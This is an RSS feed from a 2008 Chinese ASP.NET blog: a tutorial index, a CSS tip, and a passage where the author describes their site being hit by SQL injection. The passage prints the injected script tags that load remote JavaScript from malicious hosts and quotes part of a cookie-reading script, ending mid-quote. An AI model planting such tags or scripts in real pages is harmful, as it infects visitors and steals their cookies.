﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>博客园-李万宝</title><link>http://www.cnblogs.com/mqingqing123/</link><description>欢迎光临李万宝的个人blog</description><language>zh-cn</language><lastBuildDate>Sun, 07 Sep 2008 15:41:51 GMT</lastBuildDate><pubDate>Sun, 07 Sep 2008 15:41:51 GMT</pubDate><ttl>60</ttl><item><title>ASP.NET网络安全</title><link>http://www.cnblogs.com/mqingqing123/archive/2008/06/04/1213915.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Wed, 04 Jun 2008 13:09:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2008/06/04/1213915.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/1213915.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2008/06/04/1213915.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/1213915.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/1213915.html</trackback:ping><description><![CDATA[http://www.021pub.net/learn/security.aspx<br />
<img src ="http://www.cnblogs.com/mqingqing123/aggbug/1213915.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42134/" target="_blank">[新闻]JavaScript将成Silverlight的最大对手?</a>]]></description></item><item><title>ASP.NET2.0 数据库在线教程(经典)</title><link>http://www.cnblogs.com/mqingqing123/archive/2008/06/03/1212800.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Tue, 03 Jun 2008 06:25:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2008/06/03/1212800.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/1212800.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2008/06/03/1212800.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/1212800.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/1212800.html</trackback:ping><description><![CDATA[这是由微软资助并认可的数据教程，堪称ASP.NET2.0数据访问的经典，几乎可以接近数据处理的80%的问题。<br />
本系列由网友（包括cnblogs，csdn等）合作翻译的，由021pub进行整理 ，更多欢迎访问 <a href="http://www.021pub.net">http://www.021pub.net</a>
<form id="aspnetForm" name="aspnetForm" action="data-access.aspx" method="post">
    <div>&nbsp;</div>
    <!-- top end   -->
    <div>
    <div id="Main">
    <div id="Left">
    <div id="TopNav"><a href="http://www.021pub.net/">首页</a></div>
    <div id="Content">
    <div class="bucket_container">
    <div class="bucket_top"></div>
    <div class="bucket_content region_absminheight">
    <div class="clear"></div>
    <p>&nbsp;</p>
    <div class="wide_icons" id="category_icons">
    <h2 class="line first">ASP.NET 介绍</h2>
    <div class="landing_page_group">
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=46"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial01.gif" /><br />
    <span><strong>#1 | </strong>创建数据访问层</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=47"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial02.gif" /><br />
    <span><strong>#2 | </strong>创建业务逻辑层</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=49"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial03.gif" /><br />
    <span><strong>#3 | </strong>母板页和站点导航</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=50"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial04.gif" /><br />
    <span><strong>#4 | </strong>展现数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=51"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial05.gif" /><br />
    <span><strong>#5 | </strong>声明参数</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=52"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial06.gif" /><br />
    <span><strong>#6 | </strong>编程设置ObjectDataSource参数值</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=53"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial07.gif" /><br />
    <span><strong>#7 | </strong>使用DropDownList过滤的主/从报表</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=54"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial08.gif" /><br />
    <span><strong>#8 | </strong>使用两个DropDownList过滤的主/从报表</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=55"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial09.gif" /><br />
    <span><strong>#9 | </strong>跨页面的主/从报表</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=56"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial10.gif" /><br />
    <span><strong>#10 | </strong>使用 GridView 和DetailView实现的主/从报表</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=57"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial11.gif" /><br />
    <span><strong>#11 | </strong>基于数据自定义数据显示格式</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=58"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial12.gif" /><br />
    <span><strong>#12 | </strong>在GridView控件中使用TemplateField</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=59"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial13.gif" /><br />
    <span><strong>#13 | </strong>在DetailsView控件中使用TemplateField</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=60"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial14.gif" /><br />
    <span><strong>#14 | </strong>使用FormView 的模板</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=61"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial15.gif" /><br />
    <span><strong>#15 | </strong>在GridView的页脚中显示统计信息</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=62"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial16.gif" /><br />
    <span><strong>#16 | </strong>基于数据自定义数据显示格式</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=63"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial17.gif" /><br />
    <span><strong>#17 | </strong>研究插入、更新和删除的关联事件</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=64"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial18.gif" /><br />
    <span><strong>#18 | </strong>在ASP.NET页面中处理BLL/DAL层的异常</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=65"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial19.gif" /><br />
    <span><strong>#19 | </strong>给编辑和新增界面增加验证控件</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=66"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial20.gif" /><br />
    <span><strong>#20 | </strong>定制数据修改界面</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=67"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial21.gif" /><br />
    <span><strong>#21 | </strong>实现开放式并发</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=68"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial22.gif" /><br />
    <span><strong>#22 | </strong>为删除数据添加客户端确认</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=69"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial23.gif" /><br />
    <span><strong>#23 | </strong>基于用户对修改数据进行限制</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=70"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial24.gif" /><br />
    <span><strong>#24 | </strong>分页和排序报表数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=71"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial25.gif" /><br />
    <span><strong>#25 | </strong>大数据量时提高分页的效率</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=72"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial26.gif" /><br />
    <span><strong>#26 | </strong>排序自定义分页数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=73"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial27.gif" /><br />
    <span><strong>#27 | </strong>创建自定义排序用户界面</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=74"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial28.gif" /><br />
    <span><strong>#28 | </strong>添加并相应GridView里的Button控件</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=75"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial29.gif" /><br />
    <span><strong>#29 | </strong>用DataList和Repeater来显示数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=76"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial30.gif" /><br />
    <span><strong>#30 | </strong>格式化DataList和Repeater的数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=77"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial31.gif" /><br />
    <span><strong>#31 | </strong>使用DataList来一行显示多条记录</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=78"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial32.gif" /><br />
    <span><strong>#32 | </strong>数据控件的嵌套</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=79"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial33.gif" /><br />
    <span><strong>#33 | </strong>使用DropDownList过滤的主/从报表</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=80"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial34.gif" /><br />
    <span><strong>#34 | </strong>跨页面的主/从报表</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=81"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial35.gif" /><br />
    <span><strong>#35 | </strong>使用Repeater和DataList实现的主/从报表</span></a> </p>
    </div>
    <!-- part 10-->
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=82"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial36.gif" /><br />
    <span><strong>#36 | </strong>综叙：在DataList里编辑和删除数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=84"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial37.gif" /><br />
    <span><strong>#37 | </strong>批量更新</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=86"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial38.gif" /><br />
    <span><strong>#38 | </strong>处理BLL和DAL的异常</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=87"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial39.gif" /><br />
    <span><strong>#39 | </strong>在编辑和插入界面里添加验证控件</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=88"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial40.gif" /><br />
    <span><strong>#40 | </strong>自定义DataList编辑界面</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=89"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial41.gif" /><br />
    <span><strong>#41 | </strong>实现开放式并发</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=90"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial42.gif" /><br />
    <span><strong>#42 | </strong>为删除数据添加客户端确认</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=91"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial43.gif" /><br />
    <span><strong>#43 | </strong>基于用户对修改数据进行限制</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=92"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial44.gif" /><br />
    <span><strong>#44 | </strong>DataList和Repeater数据分页</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=93">5<img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial45.gif" /><br />
    <span><strong>#45 | </strong>DataList和Repeater数据排序</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=94"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial46.gif" /><br />
    <span><strong>#46 | </strong>DataList和Repeater里的自定义button</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=95"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial47.gif" /><br />
    <span><strong>#47 | </strong>使用SqlDataSource控件查询数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=96"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial48.gif" /><br />
    <span><strong>#48 | </strong>在SqlDataSource中使用参数化查询</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=97"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial49.gif" /><br />
    <span><strong>#49 | </strong>使用SqlDataSource插入、更新以及删除数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=98"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial50.gif" /><br />
    <span><strong>#50 | </strong>使用SqlDataSource插入、更新以及删除数据表</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=99"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial51.gif" /><br />
    <span><strong>#51 | </strong>为GridView控件添加Radio Buttons列</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=100"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial52.gif" /><br />
    <span><strong>#52 | </strong>为GridView控件添加Checkboxes列</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=101"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial53.gif" /><br />
    <span><strong>#53 | </strong>从GridView的页脚插入新记录</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=102"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial54.gif" /><br />
    <span><strong>#54 | </strong>上传文件</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=103"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial55.jpg" /><br />
    <span><strong>#55 | </strong>在Data Web控件显示二进制数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=104"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial56.gif" /><br />
    <span><strong>#56 | </strong>添加新记录时包含一个文件上传选项</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=105"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial57.gif" /><br />
    <span><strong>#57 | </strong>更新和删除存在的二进制数据（翻译中...）</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=106"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial58.gif" /><br />
    <span><strong>#58 | </strong>用ObjectDataSource缓存数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=107"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial59.gif" /><br />
    <span><strong>#59 | </strong>体系分层缓存数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=108"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial60.gif" /><br />
    <span><strong>#60 | </strong>在程序启动阶段缓存数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=109"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial61.png" /><br />
    <span><strong>#61 | </strong>使用SQL Cache Dependencies</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=110"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial62.png" /><br />
    <span><strong>#62 | </strong>创建一个用户自定义的Database-Driven Site Map Provider</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=111"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial63.png" /><br />
    <span><strong>#63 | </strong>在事务里对数据库修改进行封装</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=112"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial64.png" /><br />
    <span><strong>#64 | </strong>批更新数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=113"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial65.png" /><br />
    <span><strong>#65 | </strong>批删除数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=114"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial66.png" /><br />
    <span><strong>#66 | </strong>批添加数据</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=115"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial67.png" /><br />
    <span><strong>#67 | </strong>在TableAdapters里创建新的存储过程</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=116"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial68.png" /><br />
    <span><strong>#68 | </strong>在TableAdapters里使用现有的存储过程</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=117"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial69.png" /><br />
    <span><strong>#69 | </strong>在TableAdapter里使用JOINs</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=118"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial70.png" /><br />
    <span><strong>#70 | </strong>使为DataTable添加额外的列</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=119"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial71.png" /><br />
    <span><strong>#71 | </strong>处理Computed Columns列</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=120"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial72.png" /><br />
    <span><strong>#72 | </strong>对数据访问层进行&#8220;连接—命令&#8221;级的设置</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=121"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial73.png" /><br />
    <span><strong>#73 | </strong>保护连接字符串及其它设置信息</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=122"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial74.png" /><br />
    <span><strong>#74 | </strong>调试存储过程</span></a> </p>
    </div>
    <div class="category_item category_item_video">
    <p><a class="no_border" href="http://www.021pub.net/news/detail.aspx?id=123"><img class="thumbnail_150_video" alt="" src="http://static.asp.net/asp.net/images/tutorials/tutorial75.png" /><br />
    <span><strong>#75 | </strong>用Managed Code创建存储过程和用户自定义函数</span></a> </p>
    </div>
    <div class="clear"></div>
    </div>
    <!-- /part 10  --></div>
    </div>
    </div>
    </div>
    </div>
    <div id="Right"></div>
    </div>
    </div>
    <!-- Footer start  -->
    <div id="Foot">
    <div id="FootContent">
    <p>
    <p><a href="http://www.miibeian.gov.cn/" target="_blank"></a></p>
    <!-- Footer end -->
    <p>&nbsp;</p>
    </div>
    </div>
</form>
<img src ="http://www.cnblogs.com/mqingqing123/aggbug/1212800.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42133/" target="_blank">[新闻]没有谷歌就活不下去的四个网站</a>]]></description></item><item><title>许多网站都成为灰色，要实现这个功能，只要在css里添加如下即可</title><link>http://www.cnblogs.com/mqingqing123/archive/2008/05/21/1203710.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Tue, 20 May 2008 23:40:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2008/05/21/1203710.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/1203710.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2008/05/21/1203710.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/1203710.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/1203710.html</trackback:ping><description><![CDATA[<p><font face="Verdana">在哀悼日，许多网站都成为灰色，要实现这个功能，只要在css里添加如下即可<br />
<br />
body{<font face="Verdana">filter:gray;</font>}<br />
<br />
此时说有内容都变成灰色</font></p>
<img src ="http://www.cnblogs.com/mqingqing123/aggbug/1203710.html?type=1" width = "1" height = "1" /><br><br><a href="http://news.cnblogs.com/n/42132/" target="_blank">[新闻]Google 10周岁生日</a>]]></description></item><item><title>最近好多网站都受到SQL注入与解决方案</title><link>http://www.cnblogs.com/mqingqing123/archive/2008/05/10/1191052.html</link><dc:creator>天天</dc:creator><author>天天</author><pubDate>Sat, 10 May 2008 03:20:00 GMT</pubDate><guid>http://www.cnblogs.com/mqingqing123/archive/2008/05/10/1191052.html</guid><wfw:comment>http://www.cnblogs.com/mqingqing123/comments/1191052.html</wfw:comment><comments>http://www.cnblogs.com/mqingqing123/archive/2008/05/10/1191052.html#Feedback</comments><slash:comments>15</slash:comments><wfw:commentRss>http://www.cnblogs.com/mqingqing123/comments/commentRss/1191052.html</wfw:commentRss><trackback:ping>http://www.cnblogs.com/mqingqing123/services/trackbacks/1191052.html</trackback:ping><description><![CDATA[<strong><u>1.现象</u></strong><br />
<br />
今天发现自己的网站被SQL注入了 :(<br />
首先，看到&nbsp; 页面包含了 <font face="Verdana">&lt;script src=http://s.see9.us/s.js&gt;&lt;/script&gt;</font><br />
<br />
还有，页面有大量的类似如下的内容<br />
<font face="Verdana">&lt;script src=http://%61%31%38%38%2E%77%73/1.js&gt;&lt;/script&gt;&lt;!"&gt;&lt;/title&gt;&lt;script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js&gt;&lt;/scr"&gt;&lt;/title&gt;&lt;script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js&gt;&lt;/scr'&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; width=50&nbsp;&nbsp;&nbsp; border=0&gt;<br />
<br />
<font face="Verdana">&lt;script src=http://%61%31%38%38%2E%77%73/1.js&gt;&lt;/script&gt;&lt;!"&gt;&lt;/title&gt;&lt;script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js&gt;&lt;/scr"&gt;&lt;/title&gt;&lt;script src=http://%61%2E%6B%61%34%37%2E%75%73/1.js&gt;&lt;/scr</font><br />
<br />
<br />
你可以用记事本打开<a href="http://a188.ws/1.js">http://a188.ws/1.js</a>查看其内容，（不推荐用IE打开，因为那样病毒就直接会下载到你的电脑里，用记事本看看其代码就可以了）<br />
<br />
<br />
<br />
<font face="Verdana">document.writeln("&lt;base onmouseover=\"window.status=\'完毕&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; \';return true\"&gt;");<br />
document.writeln("&lt;SCRIPT language=javascript type=text\/javascript&gt;");<br />
document.writeln("var cookieString = document.cookie;");<br />
